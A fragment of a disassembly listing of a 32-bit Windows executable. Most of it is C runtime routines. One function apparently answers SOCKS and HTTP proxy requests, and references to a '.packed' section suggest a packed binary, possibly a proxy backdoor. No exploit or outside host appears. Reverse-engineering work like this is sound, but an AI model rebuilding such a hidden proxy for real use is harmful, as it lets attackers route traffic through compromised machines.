		jmp	loc_401BBF
; ---------------------------------------------------------------------------


loc_4026EC:				; CODE XREF: sub_4017F0+E19j
					; sub_4017F0+E32j
		xor	eax, eax
		mov	[ebp+var_EB0], eax
		mov	[ebp-0EACh], eax
		mov	byte ptr [ebp+var_EA9+1], al
		mov	eax, dword_409D38[esi]
		mov	ecx, [eax+4]
		cmp	ecx, 4
		jnz	short loc_402720
		mov	byte ptr [ebp+var_EB0+1], 5Bh
		push	8
		lea	ecx, [ebp+var_EB0]
		push	ecx
		jmp	short loc_402767
; ---------------------------------------------------------------------------


loc_402720:				; CODE XREF: sub_4017F0+F1Cj
		cmp	ecx, 3
		jnz	short loc_40273F
		push	offset aHttp1_0201Unab ; "HTTP/1.0 201 Unable to connect\r\n\r\n"
		push	eax
		call	sub_4013E0
		add	esp, 8
		mov	eax, dword_409D38[esi]
		push	eax
		jmp	loc_402809
; ---------------------------------------------------------------------------


loc_40273F:				; CODE XREF: sub_4017F0+F33j
		cmp	ecx, 5
		jnz	short loc_402770
		mov	byte ptr [ebp+var_EB0],	cl
		mov	byte ptr [ebp+var_EB0+1], cl
		mov	byte ptr [ebp+var_EB0+2], 0
		mov	byte ptr [ebp+var_EB0+3], 1
		push	9
		lea	edx, [ebp+var_EB0]
		push	edx


loc_402767:				; CODE XREF: sub_4017F0+F2Ej
		push	eax
		call	sub_4012A0
		add	esp, 0Ch


loc_402770:				; CODE XREF: sub_4017F0+F52j
		mov	eax, dword_409D38[esi]
		push	eax
		jmp	loc_402809
; ---------------------------------------------------------------------------


loc_40277C:				; CODE XREF: sub_4017F0+DDCj
					; sub_4017F0+DF5j
		mov	eax, dword_409D38[esi]
		test	eax, eax
		jz	loc_402817
		mov	ecx, [eax+1Ch]
		test	ecx, ecx
		jnz	loc_402817
		mov	eax, [ebx]
		cmp	eax, 3
		jz	short loc_4027A3
		cmp	eax, 29Ah
		jnz	short loc_402817


loc_4027A3:				; CODE XREF: sub_4017F0+FAAj
		lea	ecx, [ebp+var_10C0]
		push	ecx
		mov	edx, dword_409D08[esi]
		push	edx
		call	sub_40286C
		test	eax, eax
		jz	short loc_402817
		push	0BB8h
		lea	eax, [ebp+var_EB0]
		push	eax
		push	ebx
		call	sub_4014A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402802
		mov	ecx, dword_409D10[esi]
		push	ecx
		lea	edx, [ebp+var_EB0]
		push	edx
		mov	eax, dword_409D38[esi]
		push	eax
		call	sub_4012A0
		add	esp, 0Ch
		mov	eax, [ebp+var_1B8]
		inc	eax
		mov	[ebp+var_1B8], eax
		jmp	loc_401BBF
; ---------------------------------------------------------------------------


loc_402802:				; CODE XREF: sub_4017F0+FE1j
		mov	ecx, dword_409D38[esi]
		push	ecx


loc_402809:				; CODE XREF: sub_4017F0+F4Aj
					; sub_4017F0+F87j
		call	sub_401510
		push	ebx
		call	sub_401510
		add	esp, 8


loc_402817:				; CODE XREF: sub_4017F0+3EBj
					; sub_4017F0+ADEj ...
		mov	eax, [ebp+var_1B8]
		inc	eax
		mov	[ebp+var_1B8], eax
		jmp	loc_401BBF
sub_4017F0	endp

; ---------------------------------------------------------------------------
		mov	edx, [ebp-14h]
		push	edx
		call	sub_401790
; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402860	proc near		; CODE XREF: sub_401080+70p
					; sub_401580+5Bp
		jmp	dword_40811C
sub_402860	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402866	proc near		; CODE XREF: sub_401080+50p
					; sub_401080+5Ap ...
		jmp	dword_408118
sub_402866	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40286C	proc near		; CODE XREF: sub_4017F0+36Bp
					; sub_4017F0+486p ...
		jmp	dword_408114
sub_40286C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402872	proc near		; CODE XREF: sub_4012A0+DEp
					; sub_4017F0+349p
		jmp	dword_408110
sub_402872	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402878	proc near		; CODE XREF: sub_4011E0+63p
		jmp	dword_40810C
sub_402878	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40287E	proc near		; CODE XREF: sub_401080+A8p
					; sub_4011E0+53p ...
		jmp	dword_408108
sub_40287E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402884	proc near		; CODE XREF: sub_401000+34p
					; sub_401000+40p ...
		jmp	dword_408104
sub_402884	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40288A	proc near		; CODE XREF: sub_401000+2Bp
		jmp	dword_408100
sub_40288A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402890	proc near		; CODE XREF: sub_401080+BFp
					; sub_4011E0+A3p
		jmp	dword_4080FC
sub_402890	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402896	proc near		; CODE XREF: sub_401080+32p
					; sub_4011E0+27p ...
		jmp	dword_4080F8
sub_402896	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40289C	proc near		; CODE XREF: sub_401160+3Bp
		jmp	dword_4080F4
sub_40289C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4028A2	proc near		; CODE XREF: sub_4011E0+81p
		jmp	dword_4080F0
sub_4028A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4028A8	proc near		; CODE XREF: sub_4012A0+F9p
		jmp	dword_4080EC
sub_4028A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4028AE	proc near		; CODE XREF: sub_4014A0+29p
		jmp	dword_4080E8
sub_4028AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4028B4	proc near		; CODE XREF: sub_401510+1Bp
					; sub_4016A0+1Bp
		jmp	dword_4080E4
sub_4028B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4028BA	proc near		; CODE XREF: sub_401630+37p
		jmp	dword_4080E0
sub_4028BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4028C0	proc near		; CODE XREF: sub_4017F0+1E1p
		jmp	dword_4080DC
sub_4028C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4028C6	proc near		; CODE XREF: sub_4012A0+3Ap
					; sub_4013E0+27p ...

arg_0		= dword	ptr  4

		push	dword_409AE4
		push	[esp+4+arg_0]
		call	sub_4028D8
		pop	ecx
		pop	ecx
		retn
sub_4028C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4028D8	proc near		; CODE XREF: sub_4028C6+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_402901


loc_4028DF:				; CODE XREF: sub_4028D8+27j
		push	[esp+arg_0]
		call	sub_402904
		test	eax, eax
		pop	ecx
		jnz	short locret_402903
		cmp	[esp+arg_4], eax
		jz	short locret_402903
		push	[esp+arg_0]
		call	sub_40301F
		test	eax, eax
		pop	ecx
		jnz	short loc_4028DF


loc_402901:				; CODE XREF: sub_4028D8+5j
		xor	eax, eax

locret_402903:				; CODE XREF: sub_4028D8+13j
					; sub_4028D8+19j
		retn
sub_4028D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_402904	proc near		; CODE XREF: sub_4028D8+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_4090EC
		ja	short loc_40291C
		push	esi
		call	sub_40340A
		test	eax, eax
		pop	ecx
		jnz	short loc_402938


loc_40291C:				; CODE XREF: sub_402904+Bj
		test	esi, esi
		jnz	short loc_402923
		push	1
		pop	esi


loc_402923:				; CODE XREF: sub_402904+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_51867C
		call	dword_40806C


loc_402938:				; CODE XREF: sub_402904+16j
		pop	esi
		retn
sub_402904	endp


; =============== S U B	R O U T	I N E =======================================



sub_40293A	proc near		; CODE XREF: sub_402EE0+93p
		mov	eax, dword_518694
		test	eax, eax
		jz	short loc_402945
		call	eax


loc_402945:				; CODE XREF: sub_40293A+7j
		push	offset dword_409014
		push	offset dword_409008
		call	sub_402A22
		push	offset dword_409004
		push	offset dword_409000
		call	sub_402A22
		add	esp, 10h
		retn
sub_40293A	endp


; =============== S U B	R O U T	I N E =======================================



sub_402967	proc near		; CODE XREF: sub_401790+55p
					; .packed:00402FB2p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_402989
		add	esp, 0Ch
		retn
sub_402967	endp


; =============== S U B	R O U T	I N E =======================================



sub_402978	proc near		; CODE XREF: .packed:00402FD1p
					; sub_402FD6+1Cp
					; DATA XREF: ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_402989
		add	esp, 0Ch
		retn
sub_402978	endp


; =============== S U B	R O U T	I N E =======================================



sub_402989	proc near		; CODE XREF: sub_402967+8p
					; sub_402978+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_409AB8, edi
		jnz	short loc_4029A6
		push	[esp+4+arg_0]
		call	dword_408078
		push	eax
		call	dword_408074


loc_4029A6:				; CODE XREF: sub_402989+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_409AB4, edi
		mov	byte_409AB0, bl
		jnz	short loc_4029FA
		mov	eax, dword_518690
		test	eax, eax
		jz	short loc_4029E9
		mov	ecx, dword_51868C
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_4029E8


loc_4029D5:				; CODE XREF: sub_402989+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4029DD
		call	eax


loc_4029DD:				; CODE XREF: sub_402989+50j
		sub	esi, 4
		cmp	esi, dword_518690
		jnb	short loc_4029D5


loc_4029E8:				; CODE XREF: sub_402989+4Aj
		pop	esi


loc_4029E9:				; CODE XREF: sub_402989+3Cj
		push	offset dword_409020
		push	offset dword_409018
		call	sub_402A22
		pop	ecx
		pop	ecx


loc_4029FA:				; CODE XREF: sub_402989+33j
		push	offset dword_409028
		push	offset dword_409024
		call	sub_402A22
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_402A20
		push	[esp+4+arg_0]
		mov	dword_409AB8, edi
		call	dword_408070


loc_402A20:				; CODE XREF: sub_402989+85j
		pop	edi
		retn
sub_402989	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A22	proc near		; CODE XREF: sub_40293A+15p
					; sub_40293A+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_402A27:				; CODE XREF: sub_402A22+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_402A3A
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_402A35
		call	eax


loc_402A35:				; CODE XREF: sub_402A22+Fj
		add	esi, 4
		jmp	short loc_402A27
; ---------------------------------------------------------------------------


loc_402A3A:				; CODE XREF: sub_402A22+9j
		pop	esi
		retn
sub_402A22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A3C	proc near		; CODE XREF: sub_4017F0+1E8p
					; sub_4017F0+3B0p ...

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_408084
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_408080
		mov	ax, [ebp+var_16]
		cmp	ax, word_409AD2
		jnz	short loc_402AA1
		mov	ax, [ebp+var_18]
		cmp	ax, word_409AD0
		jnz	short loc_402AA1
		mov	ax, [ebp+var_1A]
		cmp	ax, word_409ACE
		jnz	short loc_402AA1
		mov	ax, [ebp+var_1E]
		cmp	ax, word_409ACA
		jnz	short loc_402AA1
		mov	ax, [ebp+var_20]
		cmp	ax, word_409AC8
		jnz	short loc_402AA1
		mov	eax, dword_409AC0
		jmp	short loc_402AE6
; ---------------------------------------------------------------------------


loc_402AA1:				; CODE XREF: sub_402A3C+28j
					; sub_402A3C+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_40807C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402ACE
		cmp	eax, 2
		jnz	short loc_402ACA
		cmp	[ebp+var_32], 0
		jz	short loc_402ACA
		cmp	[ebp+var_24], 0
		jz	short loc_402ACA
		push	1
		pop	eax
		jmp	short loc_402AD1
; ---------------------------------------------------------------------------


loc_402ACA:				; CODE XREF: sub_402A3C+7Aj
					; sub_402A3C+81j ...
		xor	eax, eax
		jmp	short loc_402AD1
; ---------------------------------------------------------------------------


loc_402ACE:				; CODE XREF: sub_402A3C+75j
		or	eax, 0FFFFFFFFh


loc_402AD1:				; CODE XREF: sub_402A3C+8Cj
					; sub_402A3C+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_409AC8
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_409AC0, eax
		pop	esi


loc_402AE6:				; CODE XREF: sub_402A3C+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_403BB5
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_402B16
		mov	[ecx], eax

locret_402B16:				; CODE XREF: sub_402A3C+D6j
		leave
		retn
sub_402A3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_402B18	proc near		; CODE XREF: sub_4012A0+8Cp
					; sub_4012A0+12Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_402B45
		push	esi
		call	sub_4030B4
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_402B37
		push	eax
		call	sub_4030DF
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_402B37:				; CODE XREF: sub_402B18+13j
		push	0
		push	dword_51867C
		call	dword_408088


loc_402B45:				; CODE XREF: sub_402B18+7j
		pop	esi
		retn
sub_402B18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B47	proc near		; CODE XREF: sub_4013E0+61p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_403D8C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_402B85
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_402B92
; ---------------------------------------------------------------------------


loc_402B85:				; CODE XREF: sub_402B47+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_403C77
		pop	ecx
		pop	ecx


loc_402B92:				; CODE XREF: sub_402B47+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_402B47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B97	proc near		; CODE XREF: sub_4016E0+3Dp
					; sub_4017F0+B4Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_403D8C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_402BD7
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_402BE4
; ---------------------------------------------------------------------------


loc_402BD7:				; CODE XREF: sub_402B97+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_403C77
		pop	ecx
		pop	ecx


loc_402BE4:				; CODE XREF: sub_402B97+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_402B97	endp


; =============== S U B	R O U T	I N E =======================================



sub_402BE9	proc near		; CODE XREF: sub_4017F0+65Ap
					; sub_4017F0+972p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_402BF1:				; CODE XREF: sub_402BE9+34j
		cmp	dword_409304, 1
		jle	short loc_402C09
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_404596
		pop	ecx
		pop	ecx
		jmp	short loc_402C18
; ---------------------------------------------------------------------------


loc_402C09:				; CODE XREF: sub_402BE9+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_4090F8
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_402C18:				; CODE XREF: sub_402BE9+1Ej
		test	eax, eax
		jz	short loc_402C1F
		inc	edi
		jmp	short loc_402BF1
; ---------------------------------------------------------------------------


loc_402C1F:				; CODE XREF: sub_402BE9+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_402C2F
		cmp	esi, 2Bh
		jnz	short loc_402C33


loc_402C2F:				; CODE XREF: sub_402BE9+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_402C33:				; CODE XREF: sub_402BE9+44j
		xor	ebx, ebx


loc_402C35:				; CODE XREF: sub_402BE9+7Bj
		cmp	dword_409304, 1
		jle	short loc_402C4A
		push	4
		push	esi
		call	sub_404596
		pop	ecx
		pop	ecx
		jmp	short loc_402C55
; ---------------------------------------------------------------------------


loc_402C4A:				; CODE XREF: sub_402BE9+53j
		mov	eax, off_4090F8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_402C55:				; CODE XREF: sub_402BE9+5Fj
		test	eax, eax
		jz	short loc_402C66
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_402C35
; ---------------------------------------------------------------------------


loc_402C66:				; CODE XREF: sub_402BE9+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_402C6F
		neg	eax


loc_402C6F:				; CODE XREF: sub_402BE9+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_402BE9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C80	proc near		; CODE XREF: sub_4017F0+5B1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_402CB1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_402CAF
		jz	short loc_402CB1
		dec	ecx
		dec	ecx


loc_402CAF:				; CODE XREF: sub_402C80+29j
		not	ecx


loc_402CB1:				; CODE XREF: sub_402C80+9j
					; sub_402C80+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_402C80	endp


; =============== S U B	R O U T	I N E =======================================



sub_402CB8	proc near		; CODE XREF: sub_4017F0+1FCp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4090C0, eax
		retn
sub_402CB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_402CC2	proc near		; CODE XREF: sub_4017F0:loc_401A14p
		mov	eax, dword_4090C0
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_4090C0, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_402CC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_402CE0	proc near		; CODE XREF: sub_4017F0+25p
					; sub_405D65+DFp ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_402D00


loc_402CEC:				; CODE XREF: sub_402CE0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_402CEC


loc_402D00:				; CODE XREF: sub_402CE0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_402CE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402D10	proc near		; CODE XREF: sub_402E08+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_402D28
		push	[ebp+arg_0]
		call	sub_4078C0


loc_402D28:				; DATA XREF: sub_402D10+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402D10	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D30	proc near		; DATA XREF: sub_402D52+Ao
					; .packed:00402DC3o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_402D51
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_402D51:				; CODE XREF: sub_402D30+10j
		retn
sub_402D30	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D52	proc near		; CODE XREF: sub_402E08+67p
					; sub_402E08+A7p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_402D30
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_402D6F:				; CODE XREF: sub_402D52:loc_402DAAj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_402DAC
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_402DAC
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_402DAA
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_402DE6
		call	dword ptr [ebx+esi*4+8]


loc_402DAA:				; CODE XREF: sub_402D52+44j
		jmp	short loc_402D6F
; ---------------------------------------------------------------------------


loc_402DAC:				; CODE XREF: sub_402D52+2Aj
					; sub_402D52+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402D52	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_402D30
		jnz	short locret_402DDC
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_402DDC
		mov	eax, 1

locret_402DDC:				; CODE XREF: .packed:00402DCAj
					; .packed:00402DD5j
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		mov	ebx, offset dword_4090D0
		jmp	short loc_402DF0

; =============== S U B	R O U T	I N E =======================================



sub_402DE6	proc near		; CODE XREF: sub_402D52+4Fp
					; sub_402E08+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_4090D0
		mov	ecx, [ebp+8]


loc_402DF0:				; CODE XREF: .packed:00402DE4j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_402DE6	endp

; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402E08	proc near		; DATA XREF: sub_4017F0+Ao
					; sub_402EE0+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_402EA8
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_402E3B:				; CODE XREF: sub_402E08+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_402EA1
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_402E8F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_402E8F
		js	short loc_402E9A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_402D10
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_402D52
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_402DE6
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_402E8F:				; CODE XREF: sub_402E08+40j
					; sub_402E08+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_402E3B
; ---------------------------------------------------------------------------


loc_402E9A:				; CODE XREF: sub_402E08+54j
		mov	eax, 0
		jmp	short loc_402EBD
; ---------------------------------------------------------------------------


loc_402EA1:				; CODE XREF: sub_402E08+36j
		mov	eax, 1
		jmp	short loc_402EBD
; ---------------------------------------------------------------------------


loc_402EA8:				; CODE XREF: sub_402E08+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_402D52
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_402EBD:				; CODE XREF: sub_402E08+97j
					; sub_402E08+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402E08	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_402D52
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_402EE0	proc near		; CODE XREF: start+1AAj

var_64		= dword	ptr -64h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_408138
		push	offset sub_402E08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	dword_40809C
		xor	edx, edx
		mov	dl, ah
		mov	dword_409A88, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_409A84, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_409A80, ecx
		shr	eax, 10h
		mov	dword_409A7C, eax
		xor	esi, esi
		push	esi
		call	sub_40303A
		pop	ecx
		test	eax, eax
		jnz	short loc_402F4C
		push	1Ch
